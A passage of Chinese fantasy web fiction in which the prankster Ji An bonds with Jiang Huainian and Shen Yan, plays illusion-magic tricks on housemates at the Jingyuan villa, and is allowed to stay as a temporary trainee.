对时聿,季安似乎有些忌惮,可能是时聿那身潜行隐匿的本事让他觉得不好捉弄。两人相安无事。 对顾肆的话……季安起初试图招惹过,结果被顾肆用最简单粗暴的风刃追着削掉了一缕头发后,就老实了,评价:“顾师兄是bug,惹不起。”然后果断转移目标。 最后,季安最主要的活动范围,迅速锁定在了江淮年和沈言身边。 可能是因为年龄相仿,也可能是因为某种臭味相投。江淮年的张扬傲娇,沈言的毒舌嚣张,季安的表面纯良内里恶劣,这三种属性混合在一起,竟然产生了奇妙的反应。 季安会突然出现在训练场边,看着江淮年被裴衍训得满头包,然后慢悠悠地点评:“江哥哥,你冰火融合的时候,左手比右手慢了哦,是因为上次吸收我那点垃圾留下的后遗症,还是单纯因为裴师哥在旁边盯着,你紧张了?” 江淮年一个分神,冰火能量“砰”地炸开,把自己熏了个灰头土脸。季安则在旁边笑得肩膀直抖。 沈言练习混合系新招,季安就托着下巴看,看了一会儿:“沈言,你元素切换流畅是流畅,但太规矩了。幻术讲究虚则实之,实则虚之,你的混合系也可以啊。比如融合假装要爆炸,实际上偷偷换别的元素从地下给他来一下嘛。你这么老实,打架多吃亏。” 沈言起初懒得理他,后来被念叨烦了,试了一次,效果居然出乎意料的好。从此,季安在训练方面的点拨,沈言虽然嘴上不承认,但偶尔会听。 季安对厨房表现出异乎寻常的兴趣,宋听澜做饭的时候他不去,就爱在江妤做饭时凑过去。然后用那双纯良的大眼睛看着,问东问西。“江妤姐姐,这个菜为什么要先焯水呀?”“江妤姐姐,你放的这个香料好奇特,是静园后山的吗?”“江妤姐姐,陆师哥是不是又偷吃你腌的萝卜了?我看到了哦。” 江妤起初对他有些防备,但季安实在太会装了,那副好奇宝宝人畜无害的样子,加上他确实只是看和问,从不捣乱,渐渐也就放松了些。 有次江妤让他帮忙递个盘子,季安手指“不经意”在盘子边缘一抹,一道极其微弱的幻术能量附着上去。等陆时忆乐呵呵地来端菜,手指碰到盘子的瞬间,幻觉袭来,他仿佛看到盘子里那条红烧鱼突然瞪大眼睛,对他“呸”地吐出一根鱼刺。 陆时忆吓得“嗷”一嗓子,差点把盘子扔了。季安则躲在厨房门口,笑得弯下了腰。 江淮年和沈言知道后,非但没帮陆时忆讨公道,反而一个吐槽陆时忆胆子小,一个追问季安那幻术怎么弄的。陆时忆气得跳脚,从此吃饭前都要仔细检查餐具。 类似的事情多了,别墅里的其他人也渐渐发现,只要季安、江淮年、沈言这三个人凑在一起,准没好事。 不是训练场突然多出个坑,就是花园里某片花草呈现诡异的颜色,要不就是吃饭时某人碗里突然多出点惊喜。 鸡飞狗跳,乌烟瘴气。 三天后,萧予回来了。 听完了众人的汇报,又单独见了季安聊了半小时。具体聊了什么没人知道,只看到季安从书房门口离开时,脸上的表情有些古怪。 之后,萧予宣布,季安可以暂时留下,作为静园的客人和临时学员,参与日常训练和学习,但一切行动需遵守规矩,并由裴衍主要负责看管。 季安对这个安排没什么意见,临时学员这个身份他也接受良好。他依旧最喜欢黏着江淮年和沈言,三人迅速形成了一个稳固的小团体。 用陆时忆的话说:“这仨凑一块儿,简直不干人事,专搞破坏!!!” 萧予知道后只是摇摇头,说了句:“年轻,闹腾点也好。” 只有陆十一受伤的世界达成了。